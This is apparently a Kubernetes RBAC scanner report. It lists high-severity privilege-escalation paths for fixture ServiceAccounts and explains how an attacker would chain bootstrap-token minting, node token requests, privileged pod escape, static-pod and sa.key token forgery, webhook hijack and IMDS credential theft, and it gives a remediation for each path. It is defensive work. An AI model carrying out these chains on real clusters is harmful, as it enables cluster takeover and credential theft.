Break the chain at the weakest hop: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cert-manager/cert-manager).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cert-manager/cert-manager).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Cluster 6.3
ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach token_mint in 3 hop(s)
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → token_mint
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-decoy-sa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
3. ServiceAccount/foothold-exec/foothold-decoy-sa → / via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-tokenwriter chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/nodeid-fixtures/nodeid-tokenwriter.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/foothold-exec/foothold-decoy-sa.
  4. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  5. Final step: attacker reaches token_mint.
  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/cutres/cutres-doublebind Cluster 6.2
ServiceAccount/cutres/cutres-doublebind can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/cutres/cutres-doublebind → token_mint
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-doublebind

Subject ServiceAccount/cutres/cutres-doublebind has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/cutres/cutres-doublebind → / via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node
2. ServiceAccount/cutres/cutres-doublebind → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/cutres/cutres-doublebind chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cutres/cutres-doublebind.
  2. Acting as ServiceAccount/cutres/cutres-doublebind, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Acting as ServiceAccount/cutres/cutres-doublebind, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Survives cutting the cutres-pod-creator-a binding (2 hops)

This route reaches the same target without the cutres-pod-creator-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/cutres/cutres-doublebind → /). Evaluated cut: removing this subject from the cutres-pod-creator-a binding that grants hop 1. A route to the same sink survives that cut.
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/cutres/cutres-doublebind → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/foothold-fixtures/foothold-priv Cluster 6.2
ServiceAccount/foothold-fixtures/foothold-priv can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/foothold-fixtures/foothold-priv → token_mint
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-priv

Subject ServiceAccount/foothold-fixtures/foothold-priv has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/foothold-fixtures/foothold-priv → / via pod_host_escape (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
2. ServiceAccount/foothold-fixtures/foothold-priv → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/foothold-fixtures/foothold-priv chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-fixtures/foothold-priv.
  2. Acting as ServiceAccount/foothold-fixtures/foothold-priv, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Acting as ServiceAccount/foothold-fixtures/foothold-priv, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission privileged that enables the first hop (ServiceAccount/foothold-fixtures/foothold-priv → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission privileged that enables the first hop (ServiceAccount/foothold-fixtures/foothold-priv → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/hookbackend-fixtures/hookbackend-operator Cluster 6.2
ServiceAccount/hookbackend-fixtures/hookbackend-operator can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/hookbackend-fixtures/hookbackend-operator → token_mint
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/hookbackend-operator

Subject ServiceAccount/hookbackend-fixtures/hookbackend-operator has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via control_plane_backend_hijack (write services + read secrets in hookbackend-fixtures): can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials
2. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/hookbackend-fixtures/hookbackend-operator chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/hookbackend-fixtures/hookbackend-operator.
  2. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker takes over a Service the API server itself calls (write services + read secrets in hookbackend-fixtures): it steers the Service's traffic to a pod it controls and presents the backend's serving certificate, which the namespace's Secrets or pods hand it. Every request the API server sends that backend, admission reviews or aggregated API calls carrying the API server's own credentials, now arrives at the attacker.
  3. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Control-plane backend hijack control_plane_backend_hijack

    Admission webhooks and aggregated API servers are ordinary Services that the API server itself calls, with its own front-proxy credentials and the caller's identity attached. The API server verifies them against the configuration's caBundle with the Service's DNS name pinned. Whoever can steer that Service's traffic (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

    A namespace hosting such a backend therefore has to be treated like kube-system: the built-in edit and admin ClusterRoles hold both halves. A hijacked mutating webhook on pods rewrites every new pod; a hijacked native-group APIService serves a core API group; a validating webhook is bypassed; anything else is an interception point for the API server's traffic.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted write services + read secrets in hookbackend-fixtures
    Gives the attacker can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission write services + read secrets in hookbackend-fixtures that enables the first hop (ServiceAccount/hookbackend-fixtures/hookbackend-operator → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission write services + read secrets in hookbackend-fixtures that enables the first hop (ServiceAccount/hookbackend-fixtures/hookbackend-operator → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/local-path-storage/local-path-provisioner-service-account Cluster 6.2
ServiceAccount/local-path-storage/local-path-provisioner-service-account can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/local-path-storage/local-path-provisioner-service-account → token_mint
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account

Subject ServiceAccount/local-path-storage/local-path-provisioner-service-account has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/local-path-storage/local-path-provisioner-service-account → / via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node
2. ServiceAccount/local-path-storage/local-path-provisioner-service-account → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/local-path-storage/local-path-provisioner-service-account chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/local-path-storage/local-path-provisioner-service-account.
  2. Acting as ServiceAccount/local-path-storage/local-path-provisioner-service-account, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Acting as ServiceAccount/local-path-storage/local-path-provisioner-service-account, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Survives cutting the local-path-provisioner-bind binding (2 hops)

This route reaches the same target without the local-path-provisioner-bind binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod local-path-storage/local-path-provisioner-67b8995b4b-r5gbn falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/local-path-storage/local-path-provisioner-service-account → /). Evaluated cut: removing this subject from the local-path-provisioner-bind binding that grants hop 1. A route to the same sink survives that cut.
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/local-path-storage/local-path-provisioner-service-account → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/map-fixtures/sa-mutating-policy Cluster 6.2
ServiceAccount/map-fixtures/sa-mutating-policy can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/map-fixtures/sa-mutating-policy → token_mint
Category: Privilege Escalation Subject: ServiceAccount/map-fixtures/sa-mutating-policy

Subject ServiceAccount/map-fixtures/sa-mutating-policy has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/map-fixtures/sa-mutating-policy → / via mutating_policy_inject (create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings): can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time
2. ServiceAccount/map-fixtures/sa-mutating-policy → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/map-fixtures/sa-mutating-policy chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/map-fixtures/sa-mutating-policy.
  2. Acting as ServiceAccount/map-fixtures/sa-mutating-policy, the attacker uses the mutating_policy_inject technique via create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings, which gains can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time.
  3. Acting as ServiceAccount/map-fixtures/sa-mutating-policy, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 MutatingAdmissionPolicy injection mutating_policy_inject

    A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

    An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

    From ServiceAccount/map-fixtures/sa-mutating-policy
    Permission granted create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings
    Gives the attacker can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/map-fixtures/sa-mutating-policy
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings that enables the first hop (ServiceAccount/map-fixtures/sa-mutating-policy → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings that enables the first hop (ServiceAccount/map-fixtures/sa-mutating-policy → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/psa-suppressed/default Cluster 6.2
ServiceAccount/psa-suppressed/default can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/psa-suppressed/default → token_mint
Category: Privilege Escalation Subject: ServiceAccount/psa-suppressed/default

Subject ServiceAccount/psa-suppressed/default has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/psa-suppressed/default → / via pod_host_escape (privileged): runs in pod psa-suppressed/psa-priv-app-54c64bdd84-w4v5m with privileged
2. ServiceAccount/psa-suppressed/default → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/psa-suppressed/default chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/psa-suppressed/default.
  2. Acting as ServiceAccount/psa-suppressed/default, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Acting as ServiceAccount/psa-suppressed/default, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-suppressed/default
    Permission granted privileged
    Gives the attacker runs in pod psa-suppressed/psa-priv-app-54c64bdd84-w4v5m with privileged
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/psa-suppressed/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission privileged that enables the first hop (ServiceAccount/psa-suppressed/default → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission privileged that enables the first hop (ServiceAccount/psa-suppressed/default → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled Cluster 6.2
ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → token_mint
Category: Privilege Escalation Subject: ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled

Subject ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
